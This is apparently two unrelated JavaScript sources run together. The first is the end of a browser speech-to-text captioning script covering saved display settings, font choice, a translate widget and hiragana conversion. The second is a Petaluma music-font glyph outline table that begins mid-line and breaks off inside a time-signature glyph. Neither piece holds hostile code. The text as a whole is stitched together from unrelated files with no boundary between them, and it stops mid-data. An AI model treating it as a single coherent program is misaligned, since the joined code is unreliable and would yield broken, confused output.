el_status_kuromoji_loading.style.display = "none"; el_checkbox_hiragana.style.display = "none"; } } // 結果の翻訳機能を追加 // 参考: https://pisuke-code.com/js-usage-of-google-trans-api/ function googleTranslateElementInit() { new google.translate.TranslateElement({ layout: google.translate.TranslateElement.InlineLayout.SIMPLE }, 'google_translate_element'); } // フォント切替 // 参考: https://www.google.com/intl/ja/chrome/demos/speech.html var fonts_custom = [ ['Noto Sans JP', "'Noto Sans JP', sans-serif"], ['BIZ UD ゴシック(Windows 10)', "'BIZ UDゴシック', 'BIZ UDGothic', 'Noto Sans JP', sans-serif"], ['BIZ UD 明朝(Windows 10)', "'BIZ UD明朝', 'BIZ UDMincho', 'Noto Sans JP', sans-serif"], ['游ゴシック', "游ゴシック体, 'Yu Gothic', YuGothic, sans-serif"], ['メイリオ', "'メイリオ', 'Meiryo', 'Noto Sans JP', sans-serif"], ['ポップ体(Windows)', "'HGS創英角ポップ体', 'Noto Sans JP', sans-serif"], ['ゴシック体(ブラウザ標準)', "sans-serif"], ['明朝体(ブラウザ標準)', "serif"] ]; for (var i = 0; i < fonts_custom.length; i++) { select_font.options[i] = new Option(fonts_custom[i][0], i); } // デフォルトの言語を設定 select_font.selectedIndex = 0; // 初期設定 const config = JSON.parse(localStorage.speech_to_text_config || '{}'); function initConfig() { function triggerEvent(type, elem) { const ev = document.createEvent('HTMLEvents'); ev.initEvent(type, true, true); elem.dispatchEvent(ev); } ['slider_font_size', 'slider_opacity', 'slider_text_shadow_stroke', 'slider_text_stroke', 'slider_line_height', 'slider_letter_spacing', 'selector_text_color', 'selector_text_shadow_color', 'selector_text_stroke_color', 'slider_text_bg_opacity', 'selector_text_bg_color', 'selector_video_bg', ].forEach(id => { if (typeof config[id] !== 'undefined') { const el = document.getElementById(id); el.value = config[id]; triggerEvent('input', el); } }); ['video_bg', 'result_video', 'text_overlay_wrapper', 'FullScreenBtn' ].forEach(id => { if (typeof config[id] !== 'undefined') { const el = document.getElementById(id); if (config[id]) { Object.keys(config[id]).forEach(key => { if (config[id][key]) { el.classList.add(key); } else { el.classList.remove(key); } }); } } }); ['checkbox_controls', 'checkbox_log', 'checkbox_timestamp', 'checkbox_hiragana' ].forEach(id => { const el = document.getElementById(id); if(el){ if (typeof config[id] !== 'undefined') { el.checked = config[el.id]; triggerEvent('input', el); } el.addEventListener('input', function (e) { updateConfig(e.target.id, e.target.checked); }); } }); if (typeof config.position !== 'undefined') { const el = document.getElementById(config.position); el.checked = 'checked'; triggerEvent('input', el); } if (typeof config.select_font !== 'undefined') { select_font.selectedIndex = config.select_font; triggerEvent('change', select_font); } if (typeof config.select_autoclear_text !== 'undefined') { const el = document.getElementById('select_autoclear_text'); selectValueIfExists(el, config.select_autoclear_text); triggerEvent('change', el); } document.querySelectorAll('input.control_input').forEach( el => el.addEventListener('input', updateConfigValue) ); document.querySelectorAll('input[name="selector_position"]').forEach( el => el.addEventListener('input', ev => updateConfig('position', el.id)) ); document.querySelector('#select_camera').addEventListener('change', updateConfigValue); document.querySelector('#select_font').addEventListener('change', updateConfigValue); document.querySelector('#select_autoclear_text').addEventListener('change', updateConfigValue); } function updateConfig(key, value) { config[key] = value; localStorage.speech_to_text_config = JSON.stringify(config); } function updateConfigClass(key, value_key, value) { if (config[key] == undefined) { config[key] = {}; } config[key][value_key] = value; localStorage.speech_to_text_config = JSON.stringify(config); } function toggleClass(id, className) { const el = document.getElementById(id); const value = el.classList.toggle(className); updateConfigClass(id, className, value); } function updateConfigValue() { updateConfig(this.id, this.value); } function deleteConfig() { localStorage.removeItem('speech_to_text_config'); location.reload(); } // 形態素解析 let kuromojiObj; function initKuromoji(checkbox) { if (checkbox.checked == true && kuromojiObj == undefined) { document.getElementById('status_kuromoji_loading').innerHTML = "ひらがなデータ読み込み中..."; document.getElementById('status_kuromoji_loading').className = "processing"; kuromoji.builder({ dicPath: "kuromoji/dict/" }).build(function(err, tokenizer) { kuromojiObj = tokenizer document.getElementById('status_kuromoji_loading').innerHTML = "ひらがなデータ読み込み完了"; document.getElementById('status_kuromoji_loading').className = "ready"; }); } } // 結果をひらがなにする function resultToHiragana(text) { if (text == null || text.length === 0) return ''; if (kuromojiObj == undefined) { return text; } var kuromoji_result = kuromojiObj.tokenize(text); var result_hiragana = ''; for (var i = 0; i < kuromoji_result.length; i++) { if (kuromoji_result[i].word_type == "KNOWN") { result_hiragana += kuromoji_result[i].reading; } else { result_hiragana += kuromoji_result[i].surface_form; } } return katakanaToHiragana(result_hiragana); } // カタカナをひらがなにする // 参考: https://gist.github.com/kawanet/5553478 function katakanaToHiragana(src) { return src.replace(/[\u30a1-\u30f6]/g, function(match) { var chr = match.charCodeAt(0) - 0x60; return String.fromCharCode(chr); }); }
export const PetalumaFont = { 'glyphs': { 'bracketTop': { 'x_min': 0, 'x_max': 508, 'y_min': 0, 'y_max': 370, 'ha': 370, 'o': 'm 22 0 b 122 0 55 1 89 0 l 157 0 b 713 376 425 0 622 137 b 732 467 724 406 732 436 b 726 514 732 482 730 498 b 711 533 723 528 719 533 b 693 526 707 533 700 530 b 674 498 683 520 678 508 b 635 406 662 467 652 435 b 310 164 560 281 458 193 b 154 151 258 154 206 151 b 39 154 117 151 78 154 b 1 120 17 154 4 145 b 0 84 0 108 0 96 b 0 20 0 63 1 40 b 22 0 0 4 7 0 z' }, 'bracketBottom': { 'x_min': 0, 'x_max': 496, 'y_min': -393, 'y_max': 0, 'ha': 393, 'o': 'm 696 -566 b 711 -539 713 -566 708 -549 b 714 -521 713 -533 714 -527 b 713 -508 714 -517 713 -513 b 661 -327 706 -445 688 -384 b 392 -42 603 -203 513 -109 b 206 0 331 -7 266 0 b 160 -1 190 0 174 -1 b 26 -1 107 -1 66 -3 b 0 -19 12 -1 0 -4 l 0 -23 b 3 -50 1 -32 3 -42 b 1 -86 3 -62 1 -73 b 4 -118 1 -96 1 -108 b 45 -151 10 -145 23 -154 b 180 -143 89 -144 135 -145 b 621 -419 392 -135 523 -236 b 662 -539 641 -456 655 -497 b 696 -566 667 -557 680 -566 z' }, 'barlineTick': { 'x_min': 0, 'x_max': 56.036101509664164, 'y_min': 876.905249806889, 'y_max': 1121.5430338167066, 'ha': 244.63778400981766, 'o': 'm 42 1263 b 66 1287 62 1261 66 1272 b 81 1583 65 1387 72 1485 b 35 1614 82 1610 53 1610 b 14 1591 17 1619 16 1604 b 0 1408 7 1525 0 1459 l 0 1292 b 42 1263 1 1263 23 1266 z' }, 'breathMarkTick': { 'x_min': 0, 'x_max': 568, 'y_min': 0, 'y_max': 621, 'ha': 621, 'o': 'm 258 0 b 278 39 276 0 274 24 b 279 56 279 45 279 50 l 279 73 b 278 117 279 88 278 102 b 281 148 278 127 279 138 b 536 600 312 330 387 487 b 744 719 600 651 670 690 b 815 779 775 730 808 740 b 818 824 818 793 818 808 b 815 868 818 838 818 852 b 796 894 814 881 808 894 b 779 888 791 894 786 893 b 719 864 760 878 739 871 b 372 602 580 806 459 724 b 229 252 298 498 251 383 b 220 268 225 262 222 264 b 209 302 217 279 213 291 b 75 527 181 387 143 467 b 16 563 58 543 39 573 b 0 539 3 557 0 549 b 12 492 0 524 9 507 b 56 400 19 459 22 425 b 163 269 104 367 138 323 b 238 36 197 194 216 115 b 258 0 242 22 243 0 z' }, 'segno': { 'x_min': 0, 'x_max': 798, 'y_min': -65, 'y_max': 806, 'ha': 871, 'o': 'm 16 -94 b 66 -69 39 -92 53 -85 b 177 59 102 -26 138 17 b 543 456 298 192 420 324 b 726 300 615 420 680 373 b 753 217 744 271 753 243 b 655 112 753 170 719 131 b 599 104 636 107 618 104 b 461 173 544 104 495 128 b 432 190 454 183 444 190 b 409 179 425 190 418 187 b 359 118 390 160 373 141 b 341 72 347 101 341 86 b 373 24 341 56 351 40 b 409 6 384 17 396 10 b 550 -13 454 -12 501 -14 b 599 -6 566 -12 583 -10 b 864 213 720 27 806 104 b 886 300 878 242 886 271 b 857 395 886 331 877 363 b 799 467 840 420 821 445 b 648 572 755 513 704 546 b 1110 1083 802 743 955 914 b 1140 1129 1123 1097 1136 1110 b 1149 1148 1142 1135 1149 1142 b 1145 1153 1149 1149 1148 1152 b 1123 1161 1139 1158 1130 1161 b 1109 1156 1119 1161 1113 1159 b 1089 1138 1102 1151 1094 1145 b 946 988 1040 1089 989 1041 b 595 602 834 855 711 732 l 590 598 l 549 615 b 432 793 462 647 432 723 b 534 888 432 851 474 888 b 671 834 588 888 631 864 b 710 818 684 824 696 818 b 724 821 714 818 719 819 b 809 883 757 834 788 852 b 816 901 814 890 816 896 b 802 923 816 910 812 916 b 706 984 770 945 742 971 b 593 1011 668 998 631 1011 b 516 991 567 1011 541 1005 b 333 799 433 949 380 876 b 302 693 312 765 302 729 b 330 589 302 658 311 624 b 469 488 360 533 415 511 b 485 482 475 487 480 485 b 266 249 412 405 338 327 b 121 88 217 196 170 141 b 9 -65 78 40 37 -7 b 0 -85 4 -72 0 -79 b 16 -94 0 -91 4 -94 z m 251 350 b 363 436 285 348 353 403 b 354 456 366 448 360 452 b 271 518 327 477 298 497 b 243 528 261 526 252 528 b 210 513 232 528 222 523 b 157 454 190 494 176 472 b 141 428 147 444 141 436 b 158 406 141 420 147 413 b 216 361 180 393 197 376 b 245 350 225 356 235 350 b 251 350 246 350 249 350 z m 861 536 b 927 575 890 539 909 557 b 965 628 952 598 965 613 b 926 680 965 644 952 658 b 865 713 900 701 883 713 b 805 667 845 713 828 698 b 768 611 791 649 770 631 b 812 564 766 589 798 582 b 861 536 824 550 840 537 z' }, 'coda': { 'x_min': 0, 'x_max': 1380, 'y_min': -196, 'y_max': 1037, 'ha': 1233, 'o': 'm 1028 -282 b 1057 -245 1045 -282 1053 -261 b 1060 -203 1060 -232 1060 -217 b 1063 9 1060 -132 1061 -62 b 1390 194 1192 22 1303 81 b 1531 543 1467 298 1512 415 b 1532 556 1531 547 1532 552 b 1904 559 1656 557 1780 559 b 1950 582 1920 559 1941 569 b 1987 674 1970 609 1987 638 b 1984 698 1987 681 1986 690 b 1950 700 1973 698 1961 700 l 1941 700 l 1545 696 b 1535 776 1545 723 1541 749 b 1103 1113 1477 996 1326 1107 b 1080 1115 1096 1115 1087 1115 b 1081 1322 1080 1184 1080 1253 b 1079 1467 1083 1371 1081 1418 b 1061 1493 1079 1476 1080 1493 l 1060 1493 b 1028 1467 1044 1490 1031 1485 b 1020 1403 1025 1446 1020 1424 b 1017 1110 1020 1305 1018 1208 l 962 1106 b 569 914 808 1087 671 1035 b 451 683 510 844 472 766 l 161 678 b 118 680 148 678 132 680 b 79 670 101 680 86 678 b 0 544 48 636 29 592 l 37 544 l 429 549 b 428 518 428 539 428 528 b 488 285 428 435 458 360 b 681 81 526 192 593 124 b 946 9 763 40 854 19 b 1008 6 966 7 988 6 b 1005 -137 1008 -42 1005 -89 b 1012 -243 1005 -173 1005 -209 b 1028 -282 1015 -258 1011 -282 z m 1008 180 b 660 264 886 181 770 212 b 524 471 570 305 524 374 b 528 524 524 488 526 505 l 533 549 b 792 552 619 550 706 550 b 1009 553 865 553 937 552 b 1008 180 1009 428 1008 288 z m 577 684 b 766 874 618 763 678 828 b 989 932 837 912 913 923 b 1015 933 998 932 1007 933 b 1014 822 1015 896 1014 860 b 1011 688 1012 791 1012 743 z m 1067 184 b 1071 553 1070 307 1068 429 b 1439 556 1194 553 1316 554 b 1437 554 1439 554 1437 554 b 1341 337 1413 478 1387 402 b 1119 192 1286 261 1211 212 b 1067 184 1102 189 1084 186 z m 1074 690 b 1079 935 1077 772 1077 852 b 1326 855 1166 932 1250 909 b 1446 694 1385 814 1426 759 b 1269 693 1387 694 1328 693 b 1074 690 1204 693 1139 691 z' }, 'gClef': { 'x_min': 0, 'x_max': 664, 'y_min': -559, 'y_max': 1009, 'ha': 1568, 'o': 'm 343 -805 b 366 -801 350 -805 357 -804 b 409 -773 383 -795 397 -786 b 582 -328 528 -648 577 -497 b 583 -294 582 -315 583 -294 b 612 -279 583 -294 603 -282 b 747 -197 660 -256 706 -230 b 949 143 857 -109 920 10 b 956 206 955 164 956 186 b 791 384 956 297 906 363 b 704 393 762 390 733 393 b 498 336 632 393 563 374 b 481 325 490 331 481 325 l 444 465 b 442 485 442 472 442 485 b 609 880 442 485 589 746 b 619 996 616 919 619 958 b 613 1084 619 1027 618 1056 b 534 1387 599 1188 560 1286 b 482 1453 527 1417 517 1453 b 422 1407 456 1453 438 1428 b 305 1063 348 1305 312 1188 b 304 1002 304 1043 304 1022 b 338 654 304 886 323 769 b 343 629 338 645 341 636 b 144 356 278 537 206 451 b 23 144 101 288 53 220 b 0 20 7 107 0 63 b 82 -210 0 -69 30 -160 b 207 -288 112 -239 160 -271 b 410 -328 274 -312 340 -328 b 474 -324 431 -328 452 -327 l 491 -321 b 491 -341 491 -321 492 -334 b 402 -585 475 -428 454 -513 b 294 -668 374 -622 348 -664 b 271 -693 278 -670 271 -680 b 274 -708 271 -698 272 -703 b 302 -775 282 -730 292 -753 b 343 -805 311 -795 325 -805 z m 410 -160 b 311 -147 360 -160 311 -147 b 307 -98 311 -147 307 -127 b 314 -33 307 -79 308 -56 b 429 131 328 36 377 85 b 441 138 433 135 438 138 b 449 122 446 138 448 132 b 490 -131 462 37 484 -46 b 490 -153 491 -140 490 -153 b 410 -160 490 -153 452 -163 z m 252 -135 b 196 -121 232 -134 215 -127 b 117 -69 158 -108 127 -94 b 111 -32 112 -58 111 -45 b 117 19 111 -16 114 1 b 130 56 118 27 127 52 b 324 337 186 156 253 246 l 384 416 l 395 384 b 416 291 406 348 416 291 b 350 213 416 291 376 239 b 243 -42 278 143 243 55 b 251 -117 243 -66 246 -91 b 252 -135 252 -122 252 -127 z m 569 -131 l 563 -91 b 510 168 552 3 530 78 b 513 192 508 179 508 186 b 624 202 550 199 586 202 b 730 192 660 202 694 199 b 850 141 773 183 816 176 b 858 134 852 138 855 135 b 595 -121 801 19 716 -68 z m 400 717 b 382 922 389 786 382 854 b 481 1286 382 1047 408 1169 b 507 1125 498 1233 507 1179 b 500 1040 507 1097 504 1068 b 400 717 481 927 455 818 z' }, 'cClef': { 'x_min': 0, 'x_max': 731, 'y_min': -543, 'y_max': 543, 'ha': 1086, 'o': 'm 615 -770 b 881 -684 710 -770 801 -739 b 1020 -395 986 -612 1020 -510 b 1017 -334 1020 -374 1018 -354 b 769 -62 1007 -209 896 -75 b 746 -60 762 -60 755 -60 b 639 -73 710 -60 675 -69 b 524 -109 598 -79 560 -92 b 528 -36 526 -85 528 -60 b 527 -4 528 -26 528 -14 b 528 39 527 10 528 24 b 526 99 528 59 527 79 b 592 94 549 95 570 94 b 648 99 611 94 629 95 b 912 157 744 94 844 117 b 1053 377 1009 215 1053 284 b 1050 425 1053 393 1053 409 b 914 665 1037 521 986 602 b 717 753 855 717 791 753 b 626 734 688 753 658 747 l 462 665 b 347 500 374 628 347 580 b 350 449 347 484 348 468 b 392 419 353 428 367 416 b 492 438 425 425 459 428 b 541 498 524 448 541 468 b 540 514 541 503 541 508 b 537 546 537 524 537 536 b 573 639 537 580 550 611 b 606 657 582 649 593 657 l 609 657 b 716 622 647 652 684 647 b 834 372 801 556 834 469 b 831 323 834 356 832 338 b 743 187 825 266 795 217 b 710 176 732 180 720 176 b 694 179 704 176 700 177 b 527 223 638 193 582 206 b 495 229 516 228 505 229 b 454 220 481 229 468 225 b 395 189 432 213 415 200 b 363 180 384 186 374 181 b 348 168 356 179 348 176 b 340 161 343 167 340 164 b 347 150 340 157 343 154 b 356 147 348 148 353 147 b 364 92 361 130 363 111 b 369 -37 367 49 369 6 b 363 -154 369 -76 367 -115 b 357 -236 360 -183 357 -210 b 376 -264 357 -253 361 -259 b 456 -289 402 -284 429 -289 b 521 -282 478 -289 500 -285 b 549 -255 537 -279 546 -271 b 598 -177 556 -225 577 -202 b 622 -164 605 -168 613 -164 b 636 -167 626 -164 631 -166 b 749 -225 678 -177 714 -199 b 848 -405 814 -276 848 -337 b 824 -507 848 -436 840 -471 b 657 -657 792 -582 730 -625 b 608 -668 638 -664 622 -668 b 534 -602 572 -668 547 -645 b 513 -575 530 -589 523 -575 b 507 -576 510 -575 508 -575 b 478 -582 497 -580 488 -582 b 405 -570 454 -582 428 -570 b 389 -572 399 -570 395 -570 l 363 -572 b 321 -575 348 -572 333 -569 l 321 631 b 323 662 323 641 323 652 b 315 716 323 681 321 698 b 304 736 314 723 317 736 l 302 736 b 281 716 294 734 285 729 b 275 665 276 700 275 683 l 275 382 b 276 99 275 288 275 193 b 279 -170 278 10 276 -81 b 284 -399 282 -246 284 -323 b 282 -629 284 -475 282 -553 b 289 -721 282 -660 289 -690 b 300 -736 289 -727 291 -736 b 312 -724 307 -736 310 -730 b 321 -667 323 -706 321 -687 l 321 -632 l 328 -644 l 340 -657 b 510 -757 386 -707 445 -740 b 615 -770 546 -766 580 -770 z m 131 -782 b 141 -755 138 -782 140 -773 b 147 -490 143 -667 145 -577 b 160 207 150 -258 153 -24 b 168 618 164 344 158 481 b 81 768 173 690 132 732 b 45 782 66 778 55 782 b 3 740 26 782 13 768 b 0 724 1 736 0 730 l 1 710 b 4 596 4 672 4 634 l 4 382 b 9 102 4 288 4 196 b 17 -301 13 -32 10 -166 l 17 -672 b 50 -736 17 -701 27 -720 b 109 -772 69 -749 91 -759 b 131 -782 120 -778 127 -782 z' }, 'fClef': { 'x_min': 0, 'x_max': 776, 'y_min': -496, 'y_max': 216, 'ha': 712, 'o': 'm 402 -706 b 804 -405 592 -678 716 -566 b 876 -53 861 -298 874 -183 b 868 33 876 -32 873 1 b 560 311 845 217 723 311 b 524 310 549 311 536 311 b 131 134 373 297 239 242 b 17 -29 84 86 37 39 b 9 -89 12 -50 9 -71 b 112 -238 9 -154 43 -206 b 124 -243 117 -239 120 -242 b 186 -261 145 -255 166 -261 b 268 -228 215 -261 242 -249 b 351 -59 325 -181 351 -124 b 343 10 351 -36 348 -13 b 340 36 341 19 340 27 b 409 105 340 75 363 102 b 441 107 420 107 431 107 b 624 36 510 107 573 86 b 744 -200 688 -27 724 -109 b 747 -230 747 -210 747 -222 b 717 -323 747 -264 736 -292 b 608 -445 688 -370 654 -410 b 307 -541 518 -513 415 -541 b 213 -541 275 -541 245 -541 b 39 -521 154 -541 96 -539 b 0 -552 17 -514 0 -531 b 1 -564 0 -556 0 -560 b 17 -611 6 -580 10 -596 b 101 -694 35 -648 50 -684 b 288 -714 164 -707 225 -714 b 402 -706 325 -714 363 -711 z m 972 -281 b 1070 -148 1024 -279 1070 -210 b 1025 -105 1070 -105 1045 -112 b 989 -127 1004 -96 998 -114 b 949 -249 963 -164 963 -209 b 969 -281 943 -265 949 -281 b 972 -281 971 -281 971 -281 z m 1018 92 b 1080 118 1041 91 1068 96 b 1117 219 1099 150 1117 180 b 1113 252 1117 229 1116 240 b 1045 288 1102 297 1068 276 b 1017 262 1028 297 1024 274 b 984 124 989 220 996 170 b 1008 91 979 108 986 91 b 1018 92 1011 91 1015 92 z' }, 'unpitchedPercussionClef1': { 'x_min': 0, 'x_max': 379.13761966945304, 'y_min': -250, 'y_max': 250, 'ha': 500, 'o': 'm 144 -341 b 207 -320 167 -341 189 -331 b 217 -301 215 -315 217 -308 b 210 -262 217 -289 210 -275 b 228 187 212 -112 209 37 b 228 287 228 220 229 253 b 174 353 228 336 222 343 b 120 359 157 357 138 359 b 48 357 96 359 72 356 b 17 323 29 357 19 344 b 7 120 16 255 9 187 b 6 -109 6 43 6 -33 l 6 -204 b 0 -251 6 -220 0 -235 b 3 -269 0 -256 0 -262 b 127 -340 24 -330 79 -328 b 144 -341 132 -341 138 -341 z m 481 -360 b 507 -357 491 -360 500 -360 b 546 -295 541 -346 547 -325 b 536 79 543 -170 540 -46 b 523 311 533 157 534 235 b 475 359 518 340 508 359 b 425 360 459 359 442 360 b 400 359 416 360 409 360 b 337 294 348 353 340 347 l 337 -73 b 336 -264 337 -137 337 -200 b 343 -294 336 -274 338 -284 b 481 -360 359 -330 431 -360 z' }, '6stringTabClef': { 'x_min': 0, 'x_max': 438, 'y_min': -768, 'y_max': 767, 'ha': 1535, 'o': 'm 114 -320 b 127 -304 120 -320 124 -315 b 171 -174 141 -261 158 -219 b 222 -135 179 -147 196 -137 b 426 -122 289 -131 359 -128 b 498 -164 462 -120 482 -127 b 628 -301 521 -226 575 -264 b 631 -288 631 -295 631 -291 b 628 -269 631 -281 629 -276 b 569 -134 616 -220 589 -179 b 408 225 514 -14 462 107 b 314 357 384 274 351 318 b 278 380 298 372 288 379 b 251 351 268 380 261 372 b 4 -209 156 171 75 -17 b 0 -228 1 -215 0 -222 b 19 -258 0 -240 7 -249 b 102 -314 45 -279 75 -294 b 114 -320 107 -318 111 -320 z m 154 -953 b 130 -933 135 -953 130 -948 l 130 -865 l 128 -865 b 135 -788 130 -838 124 -808 b 203 -769 145 -769 180 -776 b 259 -762 223 -765 242 -762 b 441 -852 330 -762 386 -805 b 449 -867 446 -858 449 -863 b 436 -884 449 -874 444 -878 b 318 -942 402 -914 363 -935 b 154 -953 264 -950 209 -953 z m 245 -1106 b 281 -1104 256 -1106 269 -1106 b 511 -888 400 -1094 511 -1035 b 454 -688 511 -814 504 -744 b 448 -678 449 -685 448 -681 b 454 -667 448 -675 449 -671 b 504 -497 503 -619 507 -559 b 324 -288 500 -383 436 -308 b 295 -287 314 -287 304 -287 b 282 -287 291 -287 287 -287 b 115 -330 223 -287 168 -307 b 94 -366 102 -336 94 -348 l 94 -370 b 96 -435 96 -392 96 -413 b 73 -858 89 -576 71 -717 b 78 -919 73 -878 78 -899 b 72 -950 78 -930 76 -940 b 63 -992 66 -965 63 -978 b 66 -1015 63 -999 65 -1008 b 173 -1104 84 -1106 84 -1106 b 245 -1106 197 -1104 220 -1104 z m 161 -622 b 147 -618 156 -622 151 -621 b 140 -600 141 -612 140 -606 b 144 -564 140 -589 144 -575 b 143 -554 144 -560 144 -557 l 143 -546 b 220 -451 144 -467 143 -465 b 278 -445 239 -446 259 -444 b 418 -497 328 -445 376 -461 b 429 -516 426 -504 429 -510 b 415 -533 429 -521 423 -527 b 219 -608 357 -579 287 -590 b 215 -609 217 -608 216 -609 b 161 -622 197 -609 177 -622 z m 425 6 b 360 20 403 17 382 20 b 274 14 331 20 302 14 l 246 14 l 340 206 b 425 6 369 137 395 75 z m 369 438 b 374 439 370 438 372 438 b 384 462 383 444 384 452 l 384 474 b 390 697 386 547 390 622 b 373 1002 390 799 390 901 l 533 1002 b 560 1001 541 1004 552 1001 b 573 1007 567 1001 572 1002 b 546 1050 579 1025 559 1038 b 536 1056 543 1053 539 1053 b 324 1104 472 1102 397 1104 b 72 1090 238 1104 154 1099 b 55 1093 66 1090 60 1092 b 37 1073 46 1093 37 1089 b 60 1045 37 1061 48 1051 b 203 1001 105 1022 151 1001 b 233 1004 213 1001 223 1002 b 246 1005 238 1004 243 1005 b 272 975 264 1005 272 996 b 272 965 272 972 272 969 b 258 596 264 842 265 719 b 315 474 253 540 272 504 l 343 455 b 369 438 351 448 357 438 z' }, 'timeSig0': { 'x_min': 20, 'x_max': 513, 'y_min': -358.159536277652, 'y_max': 359, 'ha': 717.159536277652, 'o': 'm 341 -516 b 420 -510 367 -516 395 -514 b 675 -338 533 -494 622 -448 b 737 -92 716 -256 734 -171 b 739 -35 739 -73 739 -53 b 680 305 739 86 720 207 b 400 517 622 449 537 517 b 337 514 380 517 359 517 b 289 507 321 511 305 513 b 91 317 192 477 127 412 b 29 9 50 212 29 108 b 217 -458 29 -157 88 -312 b 341 -516 251 -494 291 -518 z m 412 -452 b 359 -425 393 -452 376 -444 b 187 14 242 -301 179 -158 b 268 334 193 127 212 235 b 387 448 295 383 330 428 b 406 452 395 451 400 452 b 428 444 413 452 420 449 b 517 324 471 413 497 372 b 586 -29 560 222 586 86 b 556 -271 586 -112 585 -193 b 468 -422 536 -327 508 -377 b 412 -452 449 -442 431 -452 z' }, 'timeSig1': { 'x_min': 20, 'x_max': 283, 'y_min': -364, 'y_max': 366, 'ha': 730, 'o': 'm 264 -524 b 357 -510 297 -524 325 -516 b 374 -490 369 -508 374 -501 b 380 -438 376 -472 380 -455 l 406 246 b 408 301 408 265 408 282 b 400 445 408 348 405 396 b 288 527 395 491 338 527 b 253 520 276 527 264 526 b 240 508 249 517 245 513 b 49 409 192 445 127 413 b 29 396 33 408 29 403 b 32 380 29 392 30 386 b 59 363 36 366 49 364 b 164 348 95 356 130 348 b 222 357 183 348 203 351 b 238 361 228 360 233 360 b 252 334 248 361 252 353 b 243 59 252 242 249 150 b 219 -490 229 -124 233 -307 b 264 -524 217 -516 232 -524 z' }, 'timeSig2': { 'x_min': 20, 'x_max': 660.4636303241031, 'y_min': -378.7201231608281, 'y_max': 382, 'ha': 760.720123160828, 'o': 'm 99 -543 b 130 -533 111 -550 121 -540 b 255 -448 168 -501 213 -475 b 338 -425 282 -431 310 -425 b 392 -431 356 -425 374 -426 b 485 -462 423 -438 454 -451 b 648 -497 540 -482 595 -497 b 834 -441 711 -497 773 -480 b 950 -242 906 -395 958 -334 b 942 -210 950 -230 950 -215 b 912 -220 932 -204 920 -213 b 861 -264 894 -235 877 -248 b 775 -317 835 -289 808 -305 b 675 -334 742 -328 708 -334 b 510 -295 619 -334 563 -318 b 372 -264 465 -278 420 -264 b 305 -272 350 -264 328 -266 b 331 -242 318 -256 324 -249 b 490 -73 386 -187 438 -131 b 675 340 595 43 664 180 b 677 369 677 350 677 360 b 556 536 677 461 638 508 b 468 550 526 546 497 550 b 297 508 409 550 353 533 b 111 354 220 475 168 412 b 29 197 65 308 29 261 b 32 164 29 187 29 176 b 29 140 33 157 29 147 b 43 125 29 132 32 125 b 73 147 55 125 65 138 b 86 163 79 153 82 158 b 238 320 134 219 183 272 b 425 389 292 367 360 389 b 575 341 480 389 531 373 b 606 298 590 330 606 317 b 600 278 606 292 603 285 b 501 107 576 217 544 158 b 304 -104 439 33 372 -35 b 111 -356 230 -180 167 -265 b 84 -446 92 -386 84 -415 b 86 -481 84 -458 85 -469 b 88 -514 88 -491 88 -503 b 99 -543 89 -526 91 -537 z' }, 'timeSig3': { 'x_min': 19.824321427094187, 'x_max': 540, 'y_min': -392, 'y_max': 392, 'ha': 784, 'o': 'm 216 -540 b 354 -564 264 -556 310 -564 b 605 -465 445 -564 530 -530 b 729 -161 697 -383 729 -275 b 724 -82 729 -135 727 -108 b 589 95 716 -1 670 62 b 523 114 567 102 546 108 b 750 418 606 213 677 315 b 778 503 769 444 778 472 b 773 540 778 514 776 527 b 750 564 769 557 762 564 b 736 562 746 564 742 563 b 641 552 704 553 672 552 b 402 554 562 552 481 554 l 346 554 b 84 546 258 554 170 554 b 36 501 55 543 40 531 b 29 412 30 472 32 442 b 52 384 27 393 32 384 l 56 384 b 210 392 107 389 158 392 l 602 392 b 354 108 523 285 445 192 b 246 -65 300 58 246 12 b 252 -108 246 -78 248 -92 l 252 -111 b 264 -141 251 -122 251 -135 b 291 -132 274 -145 284 -140 b 425 -72 328 -95 377 -84 b 475 -65 442 -68 459 -65 b 592 -108 517 -65 557 -79 b 645 -179 615 -125 645 -147 b 642 -194 645 -184 644 -189 b 485 -376 616 -278 569 -344 b 361 -399 444 -392 402 -399 b 151 -340 289 -399 219 -376 b 88 -275 122 -323 98 -310 b 71 -249 86 -268 85 -249 b 63 -251 68 -249 66 -249 b 36 -288 48 -255 36 -266 b 55 -423 33 -336 45 -377 b 101 -482 60 -448 78 -468 b 216 -540 138 -504 174 -526 z' }, 'timeSig4': { 'x_min': 20, 'x_max': 633.0785282750762, 'y_min': -489.59088556716864, 'y_max': 491.18559127100053, 'ha': 980.7764768381692, 'o': 'm 608 -704 b 641 -684 622 -708 634 -696 b 667 -602 660 -660 662 -631 b 685 -190 683 -465 680 -327 l 685 -176 b 831 -127 736 -166 783 -148 b 912 0 901 -94 913 -76 b 886 53 912 36 904 52 b 848 40 877 53 864 49 l 838 36 b 687 -13 789 14 739 -3 b 681 177 687 50 684 114 b 672 338 678 230 677 285 b 654 373 671 350 672 373 b 622 340 636 373 624 361 b 615 262 621 314 613 288 b 619 -22 616 167 619 72 b 569 -22 602 -23 585 -23 b 305 -3 481 -16 395 -1 b 210 -9 274 -3 242 -4 b 301 163 242 52 268 108 b 513 552 377 288 459 412 b 536 652 526 585 536 618 b 533 683 536 662 534 672 b 520 707 531 691 531 707 b 487 693 508 708 494 704 b 474 668 482 684 477 677 b 384 490 454 603 418 547 b 253 281 343 419 295 351 b 73 -13 194 181 145 78 b 29 -108 50 -42 29 -72 b 37 -147 29 -121 32 -134 b 50 -186 43 -160 50 -173 b 68 -216 52 -207 56 -215 b 92 -207 73 -216 82 -213 b 288 -166 156 -180 220 -166 b 556 -186 377 -166 467 -180 b 586 -189 566 -187 576 -187 b 616 -186 596 -189 606 -189 b 606 -432 613 -268 612 -350 b 596 -625 603 -495 596 -559 b 598 -670 596 -641 596 -655 b 608 -704 598 -683 596 -700 z' }, 'timeSig5': { 'x_min': 19.663871085403297, 'x_max': 583, 'y_min': -389, 'y_max': 389, 'ha': 778, 'o': 'm 132 -536 b 249 -560 168 -553 209 -559 b 507 -462 351 -560 454 -514 b 677 -183 588 -384 642 -289 b 694 -85 688 -150 694 -117 b 540 138 694 12 642 94 b 422 173 501 154 462 167 b 400 187 408 174 400 177 b 405 202 400 190 402 196 b 428 284 416 228 426 255 b 469 312 431 307 442 312 b 757 372 569 312 662 343 b 840 490 821 392 840 432 b 812 560 840 540 834 560 b 763 546 801 560 785 556 b 757 543 762 546 759 544 b 465 484 665 505 570 484 b 396 484 452 484 425 487 b 353 454 377 482 366 474 b 281 300 323 405 304 351 b 245 164 262 255 245 212 b 246 144 245 158 246 151 b 233 63 249 115 243 89 b 225 35 228 50 225 40 b 264 14 225 22 236 19 